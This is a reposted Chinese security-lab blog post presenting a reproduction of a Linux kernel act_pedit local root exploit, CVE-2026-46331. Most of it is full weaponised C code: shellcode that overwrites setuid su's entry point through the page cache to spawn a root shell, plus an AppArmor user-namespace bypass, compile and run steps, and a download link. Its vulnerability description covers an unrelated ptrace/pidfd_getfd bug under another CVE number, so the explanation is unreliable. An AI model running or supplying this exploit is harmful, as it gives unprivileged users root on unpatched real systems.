【成功复现】Linux内核act_pedit本地权限提升漏洞(CVE-2026-46331)

admin 2026-06-21 05:03:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了Linux内核actpedit本地权限提升漏洞CVE-2026-46331的技术细节,指出漏洞源于ptrace的getdumpable逻辑缺陷,允许普通用户通过pidfd_getfd系统调用在特定时间窗口窃取setuid程序的敏感文件描述符实现本地提权。文档包含影响版本列表、完整的漏洞复现步骤及利用代码,提供了从编译EXP到成功获取root权限的实战操作指南。 综合评分: 87 文章分类: 漏洞分析,二进制安全,红队,Linux内核,应急响应


cover_image

【成功复现】Linux内核act_pedit本地权限提升漏洞(CVE-2026-46331)

原创

弥天安全实验室 弥天安全实验室

弥天安全实验室

2026年6月20日 10:32 陕西

在小说阅读器读本章

去阅读

#

网安引领时代,弥天点亮未来

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍

Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。

Linux kernel存在安全漏洞,该漏洞源于ptrace的get_dumpable逻辑处理不当,可能导致权限检查问题。CVE-2026-46333漏洞也成为”ssh-keysign-pwn”。

Linux内核__ptrace_may_access()函数存在逻辑缺陷:当目标进程的task->mm指针为NULL时(即内核调用 exit_mm() 后),会完全跳过 dumpable安全检查。由于do_exit()的执行顺序是先清空mm指针再关闭文件描述符,攻击者可利用pidfd_getfd() 系统调用在mm=NULL但文件描述符仍存在的极短时间窗口内,窃取setuid程序打开的敏感文件描述符(如 /etc/shadow 或 SSH 私钥),从而以普通用户权限读取root拥有的任意文件,实现本地权限提升。

0x02影响版本

`1. v5.18 <= Linux Kernel < v7.1-rc7

现在已知受影响发行版本:

  1. RHEL 10.0(内核 6.12.0-228.el10)

  2. Debian 13 trixie(内核 6.12.90+deb13.1)

  3. Ubuntu 24.04.4(内核 6.17.0-22)`

0x03漏洞复现

1.连接环境

2.漏洞复现

上传漏洞利用exp,进行编译

gcc -O2&nbsp;-Wall&nbsp;-static&nbsp;packet_edit_meme.c&nbsp;pedit_primitive.c&nbsp;-o packet_edit_meme

执行编译后的文件,成功本地提权到root

漏洞利用c代码

/*&nbsp;* packet_edit_meme.c -- CVE-2026-46331 weaponized: unprivileged local root.&nbsp;*&nbsp;* The tc-pedit page-cache write primitive overwrites the ELF entry point of a&nbsp;* setuid-root su (in the shared page cache) with a small setuid(0)+execve("/bin/sh")&nbsp;* shellcode. CAP_NET_ADMIN for the primitive is obtained unprivileged by a child&nbsp;* that unshare()s a user+net namespace; the parent stays in the init user namespace&nbsp;* and exec()s su, so the setuid bit makes it euid 0 globally and the corrupted&nbsp;* cached page runs the shellcode as real root.&nbsp;*&nbsp;* Shellcode is pure x86_64 syscalls (setuid=105, execve=59) -- the syscall ABI is&nbsp;* frozen, so it runs unchanged on any 5.x / 6.x / 7.x kernel. The bug itself spans&nbsp;* v5.18 .. v7.1-rc6.&nbsp;*&nbsp;* Build: x86_64-linux-gnu-gcc -O2 -Wall -static packet_edit_meme.c pedit_primitive.c&nbsp;* Run from an unprivileged user. Default path is a plain unshare(); on&nbsp;* AppArmor-restricted Ubuntu pass --ubuntu to transition via aa-exec into a&nbsp;* userns-permitting profile (trinity/chrome/flatpak) first.&nbsp;*/#define&nbsp;_GNU_SOURCE#include&nbsp;"pedit_primitive.h"#include&nbsp;<stdio.h>#include&nbsp;<stdlib.h>#include&nbsp;<string.h>#include&nbsp;<errno.h>#include&nbsp;<unistd.h>#include&nbsp;<fcntl.h>#include&nbsp;<sched.h>#include&nbsp;<elf.h>#include&nbsp;<sys/stat.h>#include&nbsp;<sys/wait.h>
#define&nbsp;SHELLCODE_PAD &nbsp; &nbsp; &nbsp; 0x90
/* x86_64: setgid(0); setuid(0); execve("/bin/sh", {"/bin/sh", NULL}, NULL). 48 bytes (% PEDIT_SLOT). */static&nbsp;const&nbsp;unsigned&nbsp;char&nbsp;SHELLCODE[] = {&nbsp; &nbsp;&nbsp;0x31,&nbsp;0xff, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* xor &nbsp; &nbsp;edi, edi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;0xb8,&nbsp;0x6a,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* mov &nbsp; &nbsp;eax, 106 (setgid) */&nbsp; &nbsp;&nbsp;0x0f,&nbsp;0x05, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;0xb8,&nbsp;0x69,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* mov &nbsp; &nbsp;eax, 105 (setuid) */&nbsp; &nbsp;&nbsp;0x0f,&nbsp;0x05, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* syscall (rdi still 0) &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x31,&nbsp;0xd2, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* xor &nbsp; &nbsp;rdx, rdx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;0x48,&nbsp;0xbb,&nbsp;0x2f,&nbsp;0x62,&nbsp;0x69,&nbsp;0x6e,&nbsp;0x2f,&nbsp;0x73,&nbsp;0x68,&nbsp;0x00,&nbsp;/* movabs rbx, "/bin/sh" &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;0x53, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* push &nbsp; rbx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; */&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x89,&nbsp;0xe7, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* mov &nbsp; &nbsp;rdi, rsp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;0x52, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* push &nbsp; rdx (argv NULL) &nbsp; */&nbsp; &nbsp;&nbsp;0x57, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* push &nbsp; rdi ("/bin/sh") &nbsp; */&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x89,&nbsp;0xe6, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* mov &nbsp; &nbsp;rsi, rsp (argv) &nbsp; */&nbsp; &nbsp;&nbsp;0xb8,&nbsp;0x3b,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* mov &nbsp; &nbsp;eax, 59 (execve) &nbsp;*/&nbsp; &nbsp;&nbsp;0x0f,&nbsp;0x05, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/&nbsp; &nbsp; SHELLCODE_PAD, SHELLCODE_PAD, SHELLCODE_PAD, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* pad to a whole slot &nbsp; &nbsp; &nbsp;*/};
static&nbsp;const&nbsp;char&nbsp;*SU_PATHS[] = {&nbsp; &nbsp;&nbsp;"/bin/su",&nbsp;"/usr/bin/su",&nbsp;"/sbin/su",&nbsp;"/usr/sbin/su",&nbsp;NULL,};
static&nbsp;const&nbsp;char&nbsp;*find_su(void){&nbsp; &nbsp;&nbsp;struct&nbsp;stat&nbsp;info;&nbsp; &nbsp;&nbsp;int&nbsp;index;
&nbsp; &nbsp;&nbsp;for&nbsp;(index =&nbsp;0; SU_PATHS[index]; index++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(stat(SU_PATHS[index], &info) ==&nbsp;0&nbsp;&&&nbsp;S_ISREG(info.st_mode) &&&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (info.st_mode & S_ISUID) && info.st_uid ==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;SU_PATHS[index];&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;NULL;}
/* Return the file offset of e_entry via the executable PT_LOAD that contains it. */static&nbsp;long&nbsp;elf_entry_offset(int&nbsp;fd){&nbsp; &nbsp; Elf64_Ehdr ehdr;&nbsp; &nbsp; Elf64_Phdr phdr;&nbsp; &nbsp;&nbsp;int&nbsp;index;
&nbsp; &nbsp;&nbsp;if&nbsp;(pread(fd, &ehdr,&nbsp;sizeof(ehdr),&nbsp;0) != (ssize_t)sizeof(ehdr))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp;&nbsp;if&nbsp;(memcmp(ehdr.e_ident, ELFMAG, SELFMAG) !=&nbsp;0&nbsp;|| ehdr.e_ident[EI_CLASS] != ELFCLASS64)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp;&nbsp;for&nbsp;(index =&nbsp;0; index < ehdr.e_phnum; index++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;off_t&nbsp;at = ehdr.e_phoff + (off_t)index * ehdr.e_phentsize;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pread(fd, &phdr,&nbsp;sizeof(phdr), at) != (ssize_t)sizeof(phdr))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) &&&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ehdr.e_entry >= phdr.p_vaddr && ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;-1;}
static&nbsp;void&nbsp;write_proc_file(const&nbsp;char&nbsp;*path,&nbsp;const&nbsp;char&nbsp;*value){&nbsp; &nbsp;&nbsp;int&nbsp;fd =&nbsp;open(path, O_WRONLY);
&nbsp; &nbsp;&nbsp;if&nbsp;(fd >=&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(write(fd, value,&nbsp;strlen(value)) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/* best effort */&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(fd);&nbsp; &nbsp; }}
/* Runs in the unshare()d child: map to uid 0, then write the shellcode over su's&nbsp;* entry, slot by slot, through the page-cache primitive. */static&nbsp;int&nbsp;corrupt_entry(int&nbsp;su_fd,&nbsp;long&nbsp;entry_offset){&nbsp; &nbsp;&nbsp;char&nbsp;map_line[64];&nbsp; &nbsp;&nbsp;uid_t&nbsp;uid =&nbsp;getuid();&nbsp; &nbsp;&nbsp;gid_t&nbsp;gid =&nbsp;getgid();&nbsp; &nbsp;&nbsp;size_t&nbsp;written =&nbsp;0;
&nbsp; &nbsp;&nbsp;if&nbsp;(unshare(CLONE_NEWUSER | CLONE_NEWNET)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("unshare");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;write_proc_file("/proc/self/setgroups",&nbsp;"deny");&nbsp; &nbsp;&nbsp;snprintf(map_line,&nbsp;sizeof(map_line),&nbsp;"0 %u 1", uid);&nbsp; &nbsp;&nbsp;write_proc_file("/proc/self/uid_map", map_line);&nbsp; &nbsp;&nbsp;snprintf(map_line,&nbsp;sizeof(map_line),&nbsp;"0 %u 1", gid);&nbsp; &nbsp;&nbsp;write_proc_file("/proc/self/gid_map", map_line);
&nbsp; &nbsp;&nbsp;if&nbsp;(setup())&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp;&nbsp;while&nbsp;(written <&nbsp;sizeof(SHELLCODE)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;size_t&nbsp;chunk =&nbsp;sizeof(SHELLCODE) - written;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(chunk > PEDIT_MAX_WRITE)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = PEDIT_MAX_WRITE;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(api_fd_write(su_fd, entry_offset + written, SHELLCODE + written, chunk))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; &nbsp; &nbsp; written += chunk;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;0;}
static&nbsp;int&nbsp;run_exploit(void){&nbsp; &nbsp;&nbsp;const&nbsp;char&nbsp;*su_path;&nbsp; &nbsp;&nbsp;char&nbsp;*su_argv[2];&nbsp; &nbsp;&nbsp;int&nbsp;su_fd;&nbsp; &nbsp;&nbsp;int&nbsp;sync_pipe[2];&nbsp; &nbsp;&nbsp;long&nbsp;entry_offset;&nbsp; &nbsp;&nbsp;pid_t&nbsp;child;&nbsp; &nbsp;&nbsp;int&nbsp;status;&nbsp; &nbsp;&nbsp;char&nbsp;ack =&nbsp;0;
&nbsp; &nbsp; su_path =&nbsp;find_su();&nbsp; &nbsp;&nbsp;if&nbsp;(!su_path) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] no setuid-root su found\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp; su_fd =&nbsp;open(su_path, O_RDONLY);&nbsp; &nbsp;&nbsp;if&nbsp;(su_fd <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("open su");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp; entry_offset =&nbsp;elf_entry_offset(su_fd);&nbsp; &nbsp;&nbsp;if&nbsp;(entry_offset <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] could not locate su entry point\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;printf("[*] target %s as uid %d; entry at file offset 0x%lx; shellcode %zu bytes\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;su_path, (int)getuid(), entry_offset,&nbsp;sizeof(SHELLCODE));
&nbsp; &nbsp;&nbsp;/* corruptor child gets CAP_NET_ADMIN via userns; the page cache is global so the&nbsp; &nbsp; &nbsp;* overwrite is visible to our later exec() in the init user namespace. */&nbsp; &nbsp;&nbsp;if&nbsp;(pipe(sync_pipe)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("pipe");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp; child = fork();&nbsp; &nbsp;&nbsp;if&nbsp;(child <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror("fork");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;if&nbsp;(child ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(sync_pipe[0]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(corrupt_entry(su_fd, entry_offset))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _exit(1);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(write(sync_pipe[1],&nbsp;"1",&nbsp;1) !=&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _exit(1);&nbsp; &nbsp; &nbsp; &nbsp; _exit(0);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;close(sync_pipe[1]);&nbsp; &nbsp;&nbsp;if&nbsp;(read(sync_pipe[0], &ack,&nbsp;1) !=&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp; ack =&nbsp;0;&nbsp; &nbsp;&nbsp;waitpid(child, &status,&nbsp;0);&nbsp; &nbsp;&nbsp;if&nbsp;(ack !=&nbsp;'1'&nbsp;|| !WIFEXITED(status) ||&nbsp;WEXITSTATUS(status) !=&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] page-cache corruption failed\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;printf("[+] su entry overwritten; exec'ing su -> interactive root shell\n");
&nbsp; &nbsp;&nbsp;/* exec su keeping our own stdin/stdout/stderr (the caller's tty), so the&nbsp; &nbsp; &nbsp;* shellcode's /bin/sh is an interactive root shell that stays open. */&nbsp; &nbsp; su_argv[0] = (char&nbsp;*)su_path;&nbsp; &nbsp; su_argv[1] =&nbsp;NULL;&nbsp; &nbsp;&nbsp;execve(su_path, su_argv,&nbsp;NULL);&nbsp; &nbsp;&nbsp;perror("execve su");&nbsp; &nbsp;&nbsp;return&nbsp;1;}
/* --ubuntu: on AppArmor-restricted Ubuntu the unconfined userns is denied, so&nbsp;* re-exec under a permissive profile via aa-exec; the corruptor's plain&nbsp;* unshare(NEWUSER) is then allowed. Tries each profile; on a rooted run the child&nbsp;* exits 0 and we stop. The default (no flag) path stays a plain unshare. */static&nbsp;const&nbsp;char&nbsp;*AA_PROFILES[] = {&nbsp;"trinity",&nbsp;"chrome",&nbsp;"flatpak",&nbsp;NULL&nbsp;};
static&nbsp;void&nbsp;apparmor_userns_bypass(char&nbsp;*self){&nbsp; &nbsp;&nbsp;int&nbsp;index;&nbsp; &nbsp;&nbsp;pid_t&nbsp;pid;&nbsp; &nbsp;&nbsp;int&nbsp;status;
&nbsp; &nbsp;&nbsp;for&nbsp;(index =&nbsp;0; AA_PROFILES[index]; index++) {&nbsp; &nbsp; &nbsp; &nbsp; pid = fork();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pid <&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pid ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;execlp("aa-exec",&nbsp;"aa-exec",&nbsp;"-p", AA_PROFILES[index],&nbsp;"--", self,&nbsp;"--in-profile", (char&nbsp;*)NULL);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _exit(127);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(waitpid(pid, &status,&nbsp;0) == pid &&&nbsp;WIFEXITED(status) &&&nbsp;WEXITSTATUS(status) ==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(0);&nbsp; &nbsp; }}
int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;**argv){&nbsp; &nbsp;&nbsp;/* must be launched as the target unprivileged user (e.g. `su - user -c ...`),&nbsp; &nbsp; &nbsp;* which sets the credentials -- this binary does not drop privileges itself. */&nbsp; &nbsp;&nbsp;if&nbsp;(getuid() ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] run me as an unprivileged user, not root\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;if&nbsp;(argc >=&nbsp;2&nbsp;&&&nbsp;strcmp(argv[1],&nbsp;"--ubuntu") ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;apparmor_userns_bypass(argv[0]); &nbsp; &nbsp;/* re-exec under a permissive profile */&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr,&nbsp;"[-] --ubuntu: no usable aa-exec profile (trinity/chrome/flatpak)\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;run_exploit(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* default + the post-aa-exec re-exec */}

0x04修复建议****

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

临时缓解方案

临时禁用act_pedit内核模块

建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=899ee91156e57784090c5565e4f31bd7dbffbc5ahttps://codeload.github.com/sgkdev/packet_edit_meme/zip/refs/heads/main

弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,

予以风动,

必降弥天之润!

弥  天

安全实验室


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:弥天安全实验室 弥天安全实验室 弥天安全实验室《【成功复现】Linux内核act_pedit本地权限提升漏洞(CVE-2026-46331)》

评论:0   参与:  0